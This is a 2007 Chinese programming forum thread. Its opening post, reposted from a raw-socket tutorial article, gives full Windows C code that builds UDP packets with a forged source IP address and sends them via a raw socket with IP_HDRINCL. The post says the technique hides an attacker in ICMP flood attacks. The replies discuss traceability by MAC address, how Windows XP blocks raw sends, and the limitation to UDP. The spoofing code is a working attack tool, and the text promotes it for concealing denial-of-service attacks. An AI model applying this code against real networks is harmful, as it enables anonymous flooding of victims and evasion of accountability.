znsoft
管理员
管理员
  • 注册日期2001-03-23
  • 最后登录2023-10-25
  • 粉丝300
  • 关注6
  • 积分910分
  • 威望14796点
  • 贡献值7点
  • 好评度2410点
  • 原创分5分
  • 专家分100分
  • 社区居民
  • 最爱沙发
  • 社区明星
阅读:2920回复:4

原始套接字透析之实现IP地址欺骗 [zt]

楼主#
更多 发布于:2007-04-16 14:48
  宋宝华 天极开发 | 2006-11-20 09:54:42 |  
引:由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的。

  由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的。

  下面的程序演示了向某目标发送IP地址伪装的UDP报文的过程:

void sendPesuoIpUDP(void)
{
 WSADATA wsd;
 if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
 {
  printf("WSAStartup() failed: %d ", GetLastError());
  return;
 }
 SOCKET s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,WSA_FLAG_OVERLAPPED); // Create a raw socket
 if (s == INVALID_SOCKET)
 {
  printf("WSASocket() failed: %d ", WSAGetLastError());
  return - 1;
 }

 BOOL bOpt = TRUE;
 int ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*) &bOpt, sizeof(bOpt));
 // 使用IP_HDRINCL
 if (ret == SOCKET_ERROR)
 {
  printf("setsockopt(IP_HDRINCL) failed: %d ", WSAGetLastError());
  return - 1;
 }

 const int BUFFER_SIZE = 80;
 char buffer[BUFFER_SIZE];

 const char *strMessage = "treat demo"; // Message to send

 // Set IP header
 IP_HDR ipHdr;
 UDP_HDR udpHdr;

 const unsigned short iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
 const unsigned short iIPVersion = 4;
 ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
 ipHdr.ip_tos = 0; // IP type of service
 const unsigned short iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + strlen(strMessage);
 ipHdr.ip_totallength = htons(iTotalSize); // Total packet len
 ipHdr.ip_id = 0; // Unique identifier: set to 0
 ipHdr.ip_offset = 0; // Fragment offset field
 ipHdr.ip_ttl = 128; // Time to live
 ipHdr.ip_protocol = 0x11; // Protocol(UDP)
 ipHdr.ip_checksum = 0; // IP checksum
 const char *target_ip_address = "192.168.0.102";
 const char *treat_ip_address = "1.0.5.7";
 ipHdr.ip_destaddr = inet_addr(target_ip_address); // 接收方IP地址
 ipHdr.ip_srcaddr = inet_addr(treat_ip_address); // 发送方伪造的IP地址

 // Set UDP header
 const u_short uToPort = 8000;
 udpHdr.dst_portno = htons(uToPort); // 接收方端口

 const u_short uFromPort = 1000;
 udpHdr.src_portno = htons(uFromPort); // 发送伪造的端口

 const unsigned short iUdpSize = sizeof(udpHdr) + strlen(strMessage);
 udpHdr.udp_length = htons(iUdpSize);
 udpHdr.udp_checksum = 0;

 // 组建待发送的UDP报文
 ZeroMemory(buffer, BUFFER_SIZE);
 char *ptr = buffer;

 memcpy(ptr, &ipHdr, sizeof(ipHdr));

 ptr += sizeof(ipHdr);
 memcpy(ptr, &udpHdr, sizeof(udpHdr));

 ptr += sizeof(udpHdr);
 memcpy(ptr, strMessage, strlen(strMessage));

 // Apparently, this SOCKADDR_IN structure makes no difference.
 // Whatever we put as the destination IP addr in the IP header is what goes.
 // Specifying a different destination in remote will be ignored.

 sockaddr_in remote;
 remote.sin_family = AF_INET;
 remote.sin_port = htons(8000);
 remote.sin_addr.s_addr = inet_addr("192.168.0.102");

 printf("TO %s:%d ", target_ip_address, uToPort);

 ret = sendto(s, buffer, iTotalSize, 0, (SOCKADDR*) &remote, sizeof(remote));
 // 发送伪造的报文
 if (ret == SOCKET_ERROR)
 {
  printf("sendto() failed: %d ", WSAGetLastError());
 }
 else
  printf("sent %d bytes ", ret);

 closesocket(s);
 WSACleanup();
 return;
}

  如果我们在第4节描述的ICMP FLOOD攻击中伪造IP地址,则对方将无法检测出究竟是谁在对其进行攻击,实际上,这也是一种非常常用的黑客攻击中隐藏自身的途径。
http://www.zndev.com 免费源码交换网 ----------------------------- 软件创造价值,驱动提供力量! 淡泊以明志,宁静以致远。 ---------------------------------- 勤用搜索,多查资料,先搜再问。
a_day
驱动牛犊
驱动牛犊
  • 注册日期2005-04-14
  • 最后登录2008-04-08
  • 粉丝0
  • 关注0
  • 积分40分
  • 威望4点
  • 贡献值0点
  • 好评度4点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-04-17 11:00
没有修改mac地址,难道会查不出来么?
tiaozi2000
驱动牛犊
驱动牛犊
  • 注册日期2005-01-26
  • 最后登录2010-01-08
  • 粉丝0
  • 关注0
  • 积分6分
  • 威望31点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2007-07-31 11:53
好像XP下发不了吧?
Adayuer
驱动牛犊
驱动牛犊
  • 注册日期2001-03-23
  • 最后登录2010-11-04
  • 粉丝0
  • 关注0
  • 积分340分
  • 威望60点
  • 贡献值0点
  • 好评度33点
  • 原创分0分
  • 专家分0分
地板#
发布于:2007-08-13 16:38
xp 以上就发不了了,即便admin权限也只能创建 raw sock,但是不能处理数据。只能写驱动才行。
zjjmj2002
驱动小牛
驱动小牛
  • 注册日期2007-04-05
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分15分
  • 威望321点
  • 贡献值0点
  • 好评度224点
  • 原创分1分
  • 专家分0分
地下室#
发布于:2007-08-14 11:30
最大的问题在于适用于UDP这种发了就不管的协议,不适用于TCP/IP这种一问一答式协议。
游客

返回顶部